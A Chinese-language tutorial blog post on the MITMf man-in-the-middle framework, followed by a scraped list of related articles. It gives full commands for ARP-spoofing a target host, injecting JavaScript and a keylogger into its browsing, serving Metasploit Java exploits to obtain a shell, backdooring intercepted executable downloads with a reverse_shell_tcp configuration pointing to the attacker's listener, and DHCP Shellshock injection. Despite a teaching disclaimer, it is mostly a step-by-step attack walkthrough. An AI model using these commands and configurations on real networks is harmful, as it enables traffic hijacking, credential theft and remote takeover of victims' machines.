声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境。

0×01 题记

又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下。子曰:“长得丑就要多读书!”于是有了这篇文章。

0×02 简要介绍

这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf。工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来。这里是工具的地址:

https://github.com/byt3bl33d3r/MITMf

关于工具的一些简介也在git的READEME中说到了。工具本身比较新,没找到中文指南,这里就写一篇文章与大家一起交流探讨。

刚一看到这个工具的时候,第一感觉不过是一个中间人攻击的集合品,也没多大兴趣。本来嘛,这个概念也已经被谈烂了。但是当我真的搭好环境开始玩的时候才发现其实这个框架还是有点意思的,可扩展性非常高。除了“劫持”的概念外,一些插件也起到了“渗透”的作用。

0×03 工具配置

MITMf不支持多系统平台,虽然是python写的,但是玩过以后才发现根本就是给linux量身做的,所以这里想玩的同学如果是win环境的话,可以考虑用虚拟机了,这里建议使用Kali/Linux。

首先git下整个框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

然后我们进行简单的安装

cd /opt/mitmf
./install-bdfactory.sh

完成之后,进行下一步的安装操作

cd bdfactory/
./install.sh

然后,运行的时候我们会发现仍然没办法启动MITMf,会提示一些模块缺失,我们按照指示说的依次用pip安装一下就可以。

这里需要注意一点,因为部分模块的源是在google上面的,pip会安装不上(如pefile),这时候可以自己去https://pypi.python.org/pypi 下载一下然后手动安装,安装命令是

python xxxx install

另外,需要自行手动安装python-nfqueue模块

sudo apt-get install python-nfqueue

0×04 基本功能:cookies盗取,dns劫持,js注入…

这时候我们应该能够成功启动mitmf了。输入./mitmf.py -h 得到以下帮助界面:

工具有几项基本功能:

sslstrip模块

这个我不多说大家也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块

主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块

清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块

十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块

该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块

这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块

可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件

枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块

可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块

一个键盘记录js,后文会有介绍

App Cache Poison

app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的进行攻击测试。是Krzysztof Kotowicz的补充模块。

Upsidedownternet

恶搞模块,让浏览者的世界翻转。

以上是工具的简单介绍,其中不少是很多功能大家都已经玩过了,所以我就单挑几个给大家展示一下。

Inject模块的注入功能

我们首先注入一个html:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

效果图

然后我们再注入一个js看看:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

效果图

然后是工具自带的keylogger的js,我们看一下效果怎么样:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger

效果图

经测试,密码截获DNS劫持什么的都不是问题,这里鉴于篇幅就不再展示了。

0×05 进阶玩法

以上是我们进行的一些基本的玩法,目的只是让大家看一下。功能比较基础大家用的也比较多,接下来的部分,主要给大家展示一下该框架是如何结合强大的metasploit进行“渗透”的。

(一)利用java漏洞进行攻击测试

首先,我们使用的是javapwn模块。这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url(类似:http://192.168.111.111/UIhsdaVx),使得攻击更为自然。

将metasploit打开,然后载入msgrpc模块

#msfconsole
msf > load msgrpc Pass=abc123

其他部分保持默认就好了。然后是MITMf端,输入以下命令:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137

然后我们就只需要等待就可以了,喝杯咖啡等一下。。这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。

如果顺利,我们的jar就被执行了。

这是开始运行等待的时候

成功得到shell

这两张是成功得到shell的界面。因为我的靶机中的java是最新的,msf中的payload无法溢出,只是在靶机中生成了无数的连接。所以这里的图是盗的。

(二)为PE文件注入后门实现渗透

使用Filepwn模块,与msf结合同样可以获得shell。简单说一下Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各种可执行文件。

同样我们打开metasploit,使用handler,开始监听:

msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下来是MITMf:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --filepwn

然后就是等待靶机下载文件然后执行就可以了。

最后我们的靶机执行了文件,然后msf获得到了shell。下面是最终结果:

点此看大图

(三)娱乐一下

最后再看一下“破壳”是如何在DHCP中起作用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock

这里的命令可以用cmd参数自行指定。

关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

0×06 总结

这个工具其实说白了就是一个中间人攻击测试的大集合,集各种功能于一身,同时扩展了BeEF框架和Metasploit的接口,使攻击测试姿势更加丰富。而且,也十分与时俱进的扩展了网页应用的毒化功能,同时给我们带来了更多的想法:中间人攻击,真的只是劫持截包这么简单么?内网渗透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的!:)

文章到这里暂时告一段落,简要介绍了几个MITMf的基础功能,更多扩展工具阅读

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

如果有更好玩的东西,我会继续与大家分享。

0×07 最后的小插曲

写文章的前一天晚上,室友看我测试各种攻击测试姿势,然后看了一会儿感叹说,网络越来越不安全了,真是处处是坑,一不小心就可能中招。然后,我们相视苦笑。。。

内网劫持渗透新姿势:MITMf简要指南的更多相关文章

  1. NET Core 3.0 AutoFac替换内置DI的新姿势

    原文:NET Core 3.0 AutoFac替换内置DI的新姿势 .NET Core 3.0 和 以往版本不同,替换AutoFac服务的方式有了一定的变化,在尝试着升级项目的时候出现了一些问题. 原 ...

  2. 内网横向渗透 之 ATT&CK系列一 之 拿下域控制器

    信息收集 信息收集 域控制器的相关信息: 通过arp扫描发现域控制器的ip地址为:192.168.52.138,尝试使用msf的smb_login模块登录smb是否成功 1 search smb_lo ...

  3. hw从外网到内网的渗透姿势分享

    现在这段时间是全员 hw 时期,刚好前几天也有幸参与了某个地方的 hw 行动,作为攻击方,这里就简单总结一下最近挖洞的思路吧.因为可能怕涉及到敏感的东西,这里就有的地方不会细说了. 因为本人比较菜,所 ...

  4. 内网横向渗透 之 ATT&CK系列一 之 横向渗透域主机

    前言 上一篇文章中已获取了关于域的一些基本信息,在这里再整理一下,不知道信息收集的小伙伴可以看回上一篇文章哦 域:god.org 域控 windows server 2008:OWA,192.168. ...

  5. 内网横向渗透 之 ATT&CK系列一 之 信息收集

    前言 靶机下载地址:ATT&CK 拓扑图: 通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环.虚拟机默认密码为hongrisec@2019. 环境搭 ...

  6. 强大的内网劫持框架之MITMf

    Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 beef 强大的 hook 脚本来控制目标客户端.下面让我们一起看看如何在 Kali2.0上安装使用 Mitmf ...

  7. Kali下的内网劫持(四)

    在前面我都演示的是在Kali下用命令行的形式将在目标主机上操作的用户的信息捕获的过程,那么接下来我将演示在Kali中用图形界面的ettercap对目标主机的用户进行会话劫持: 首先启动图形界面的ett ...

  8. Kali下的内网劫持(一)

    ettercap利用计算机在局域网内进行通信的ARP协议的缺陷进行攻击,在目标主机与服务器之间充当中间人,嗅探两者之间的数据流量,从中窃取用户的数据信息,那么接下来我就给大家演示一下客户端的图片是怎么 ...

  9. 内网域渗透之MS14-068复现

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

随机推荐

  1. 学习Spring——两个你熟悉的不能再熟悉的场景使用

    最近公众号受邀获取了留言和赠送模板的权限,小开心(欢迎去公众号JackieZheng围观). 我们大致的了解了Spring这个框架对于依赖注入的使用和诠释可谓是淋漓尽致.因为有了Spring的这个IO ...

  2. 【分布式】Zookeeper请求处理

    一.前言 在前面学习了Zookeeper中服务器的三种角色及其之间的通信,接着学习对于客户端的一次请求,Zookeeper是如何进行处理的. 二.请求处理 2.1 会话创建请求 Zookeeper服务 ...

  3. 浅谈css的伪元素::after和::before

    css中的::after和::before已经被大量地使用在我们日常开发中了,使用他们可以使我们的文档结构更加简洁.但是很多人对::after和::before仍不是特别了解,究竟他们是做什么的?如何 ...

  4. JavaScript 随机数

    JavaScript内置函数random(seed)可以产生[0,1)之间的随机数,若想要生成其它范围的随机数该如何做呢? 生成任意范围的随机数 //生成[100,120)之间的随机数 Math.fl ...

  5. Visual Studio for Mac Preview离线下载安装

    Visual Studio for Mac离线下载安装. 环境:OS X EI Caption 10.11.2 .NET Core SDK 1.1 需预先安装 .NET Core 1.1 SDK ma ...

  6. Mac制作U盘系统(OS X El Capitan)教程

    前言部分 重装过Mac OS X系统的人应该都深有体会,通过自带的重新安装 Mac OS X功能恢复系统(开机时按Command+R) 要耗费10几个小时才能完成(请求苹果国外服务器),但如果通过U盘 ...

  7. jqGrid合并表头

    jqGrid是一款常用的制表软件,最近开发刚好用到.记录一下常用功能留着以后查找顺便发扬一下开源精神. 二级表头是一种经常会碰到的需求,很多时候为了方便查找需要在原有的表头上再加一层,区分表格不同列的 ...

  8. PHP数组的基础知识

  9. 《连载 | 物联网框架ServerSuperIO教程》- 11.实现设备(驱动)与设备(驱动)交互和级联控制。注:设备驱动模拟金三与普京的对话

    1.C#跨平台物联网通讯框架ServerSuperIO(SSIO)介绍 <连载 | 物联网框架ServerSuperIO教程>1.4种通讯模式机制. <连载 | 物联网框架Serve ...

  10. Maven+Spring+Spring MVC+MyBatis+MySQL,搭建SSM框架环境【转】

    项目建设完成之后的结构: 数据库的表结构如下: 环境建设:搭建Maven环境.Tomcat环境.需要MySql 数据库支持,使用的编程工具Eclipse (这些是前期准备): 开始创建工程: 1.创建 ...